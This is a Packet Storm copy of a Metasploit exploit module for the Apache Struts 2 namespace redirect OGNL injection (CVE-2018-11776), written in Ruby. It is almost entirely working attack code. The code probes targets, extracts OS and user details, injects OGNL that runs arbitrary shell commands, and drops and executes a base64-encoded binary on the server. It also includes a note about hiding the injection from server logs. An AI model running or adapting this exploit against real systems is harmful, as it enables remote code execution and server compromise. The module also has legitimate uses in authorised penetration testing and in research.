Lucene search

K
packetstormWvuPACKETSTORM:149277
HistorySep 07, 2018 - 12:00 a.m.

Apache Struts 2 Namespace Redirect OGNL Injection

2018-09-0700:00:00
wvu
packetstormsecurity.com
150

0.976 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me  
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in Apache Struts  
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed  
via an endpoint that makes use of a redirect action.  
  
Native payloads will be converted to executables and dropped in the  
server's temp dir. If this fails, try a cmd/* payload, which won't  
have to write to the disk.  
},  
#TODO: Is that second paragraph above still accurate?  
'Author' => [  
'Man Yue Mo', # Discovery  
'hook-s3c', # PoC  
'asoto-r7', # Metasploit module  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2018-11776'],  
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],  
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],  
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],  
],  
'Privileged' => false,  
'Targets' => [  
[  
'Automatic detection', {  
'Platform' => %w{ unix windows linux },  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
},  
],  
[  
'Windows', {  
'Platform' => %w{ windows },  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
},  
],  
[  
'Linux', {  
'Platform' => %w{ unix linux },  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}  
},  
],  
],  
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),  
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),  
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),  
]  
)  
register_advanced_options(  
[  
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),  
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),  
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),  
]  
)  
end  
  
def check  
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable  
ognl = "#_memberAccess['allowStaticMethodAccess']"  
  
resp = send_struts_request(ognl)  
  
# If vulnerable, the server should return an HTTP 302 (Redirect)  
# and the 'Location' header should contain either 'true' or 'false'  
if resp && resp.headers['Location']  
output = resp.headers['Location']  
vprint_status("Redirected to: #{output}")  
if (output.include? '/true/')  
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")  
datastore['ENABLE_STATIC'] = false  
CheckCode::Vulnerable  
elsif (output.include? '/false/')  
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")  
datastore['ENABLE_STATIC'] = true  
CheckCode::Vulnerable  
else  
CheckCode::Safe  
end  
elsif resp && resp.code==400  
# METHOD 2: Generate two random numbers, ask the target to add them together.  
# If it does, it's vulnerable.  
a = rand(10000)  
b = rand(10000)  
c = a+b  
  
ognl = "#{a}+#{b}"  
  
resp = send_struts_request(ognl)  
  
if resp.headers['Location'].include? c.to_s  
vprint_status("Redirected to: #{resp.headers['Location']}")  
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")  
datastore['ENABLE_STATIC'] = false  
CheckCode::Vulnerable  
else  
CheckCode::Safe  
end  
end  
end  
  
def exploit  
case payload.arch.first  
when ARCH_CMD  
resp = execute_command(payload.encoded)  
else  
resp = send_payload()  
end  
end  
  
def encode_ognl(ognl)  
# Check and fail if the command contains the follow bad characters:  
# ';' seems to terminates the OGNL statement  
# '/' causes the target to return an HTTP/400 error  
# '\' causes the target to return an HTTP/400 error (sometimes?)  
# '\r' ends the GET request prematurely  
# '\n' ends the GET request prematurely  
  
# TODO: Make sure the following line is uncommented  
bad_chars = %w[; \\ \r \n] # and maybe '/'  
bad_chars.each do |c|  
if ognl.include? c  
print_error("Bad OGNL request: #{ognl}")  
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")  
end  
end  
  
# The following list of characters *must* be encoded or ORNL will asplode  
encodable_chars = { "%": "%25", # Always do this one first. :-)  
" ": "%20",  
"\"":"%22",  
"#": "%23",  
"'": "%27",  
"<": "%3c",  
">": "%3e",  
"?": "%3f",  
"^": "%5e",  
"`": "%60",  
"{": "%7b",  
"|": "%7c",  
"}": "%7d",  
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.  
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?  
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?  
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?  
}  
  
encodable_chars.each do |k,v|  
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)  
ognl.gsub!("#{k}","#{v}")  
end  
return ognl  
end  
  
def send_struts_request(ognl, payload: nil)  
=begin #badchar-checking code  
pre = ognl  
=end  
  
ognl = "${#{ognl}}"  
vprint_status("Submitted OGNL: #{ognl}")  
ognl = encode_ognl(ognl)  
  
headers = {'Keep-Alive': 'timeout=5, max=1000'}  
  
if payload  
vprint_status("Embedding payload of #{payload.length} bytes")  
headers[datastore['HEADER']] = payload  
end  
  
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs  
uri = "/#{ognl}/#{datastore['ACTION']}"  
  
resp = send_request_cgi(  
#'encode' => true, # this fails to encode '\', which is a problem for me  
'uri' => uri,  
'method' => datastore['HTTPMethod'],  
'headers' => headers  
)  
  
if resp && resp.code == 404  
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")  
end  
  
=begin #badchar-checking code  
print_status("Response code: #{resp.code}")  
#print_status("Response recv: BODY '#{resp.body}'") if resp.body  
if resp.headers['Location']  
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")  
if resp.headers['Location'].split('/')[1] == pre[1..-2]  
print_good("GOT 'EM!")  
else  
print_error(" #{pre[1..-2]}")  
end  
end  
=end  
  
resp  
end  
  
def profile_target  
# Use OGNL to extract properties from the Java environment  
  
properties = { 'os.name': nil, # e.g. 'Linux'  
'os.arch': nil, # e.g. 'amd64'  
'os.version': nil, # e.g. '4.4.0-112-generic'  
'user.name': nil, # e.g. 'root'  
#'user.home': nil, # e.g. '/root' (didn't work in testing)  
'user.language': nil, # e.g. 'en'  
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)  
}  
  
ognl = ""  
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']  
ognl << %Q|('#{rand_text_alpha(2)}')|  
properties.each do |k,v|  
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|  
end  
ognl = ognl[0...-4]  
  
r = send_struts_request(ognl)  
  
if r.code == 400  
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")  
elsif r.headers['Location']  
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'  
# Extract the OGNL output from the Location path, and strip the two random chars  
s = r.headers['Location'].split('/')[1][2..-1]  
  
if s.nil?  
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.  
# But we didn't get any output, so we can't profile the target. Abort.  
return nil  
end  
  
# Confirm that all fields were returned, and non include extra (:) delimiters  
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.  
if s.count(':') > properties.length  
print_error("Failed to profile target. Response from server: #{r.to_s}")  
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")  
end  
  
# Separate the colon-delimited properties and store in the 'properties' hash  
s = s.split(':')  
i = 0  
properties.each do |k,v|  
properties[k] = s[i]  
i += 1  
end  
  
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +  
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")  
return properties  
else  
print_error("Failed to profile target. Response from server: #{r.to_s}")  
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")  
end  
end  
  
def execute_command(cmd_input, opts={})  
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.  
if cmd_input.include? ';'  
print_warning("WARNING: Command contains bad characters: semicolons (;).")  
end  
  
begin  
properties = profile_target  
os = properties[:'os.name'].downcase  
rescue  
vprint_warning("Target profiling was unable to determine operating system")  
os = ''  
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'  
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'  
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'  
end  
  
if (os.include? 'linux') || (os.include? 'nix')  
cmd = "{'sh','-c','#{cmd_input}'}"  
elsif os.include? 'win'  
cmd = "{'cmd.exe','/c','#{cmd_input}'}"  
else  
vprint_error("Failed to detect target OS. Attempting to execute command directly")  
cmd = cmd_input  
end  
  
# The following OGNL will run arbitrary commands on Windows and Linux  
# targets, as well as returning STDOUT and STDERR. In my testing,  
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.  
  
vprint_status("Executing: #{cmd}")  
  
ognl = ""  
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']  
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|  
ognl << %q|(#p.redirectErrorStream(true)).|  
ognl << %q|(#process=#p.start()).|  
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|  
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|  
ognl << %q|(#r.flush())|  
  
r = send_struts_request(ognl)  
  
if r && r.code == 200  
print_good("Command executed:\n#{r.body}")  
elsif r  
if r.body.length == 0  
print_status("Payload sent, but no output provided from server.")  
elsif r.body.length > 0  
print_error("Failed to run command. Response from server: #{r.to_s}")  
end  
end  
end  
  
def send_payload  
# Probe for the target OS and architecture  
begin  
properties = profile_target  
os = properties[:'os.name'].downcase  
rescue  
vprint_warning("Target profiling was unable to determine operating system")  
os = ''  
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'  
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'  
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'  
end  
  
data_header = datastore['HEADER']  
if data_header.empty?  
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")  
end  
  
random_filename = datastore['TEMPFILE']  
  
# d = data stream from HTTP header  
# f = path to temp file  
# s = stream/handle to temp file  
ognl = ""  
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']  
ognl << %Q|(#[email protected]@getRequest().getHeader('#{data_header}')).|  
ognl << %Q|(#[email protected]@createTempFile('#{random_filename}','tmp')).|  
ognl << %q|(#f.setExecutable(true)).|  
ognl << %q|(#f.deleteOnExit()).|  
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|  
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|  
ognl << %q|(#s.write(#d)).|  
ognl << %q|(#s.close()).|  
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|  
ognl << %q|(#p.start()).|  
ognl << %q|(#f.delete()).|  
  
success_string = rand_text_alpha(4)  
ognl << %Q|('#{success_string}')|  
  
exe = [generate_payload_exe].pack("m").delete("\n")  
r = send_struts_request(ognl, payload: exe)  
  
if r && r.headers && r.headers['Location'].split('/')[1] == success_string  
print_good("Payload successfully dropped and executed.")  
elsif r && r.headers['Location']  
vprint_error("RESPONSE: " + r.headers['Location'])  
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")  
elsif r && r.code == 400  
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")  
end  
end  
end  
`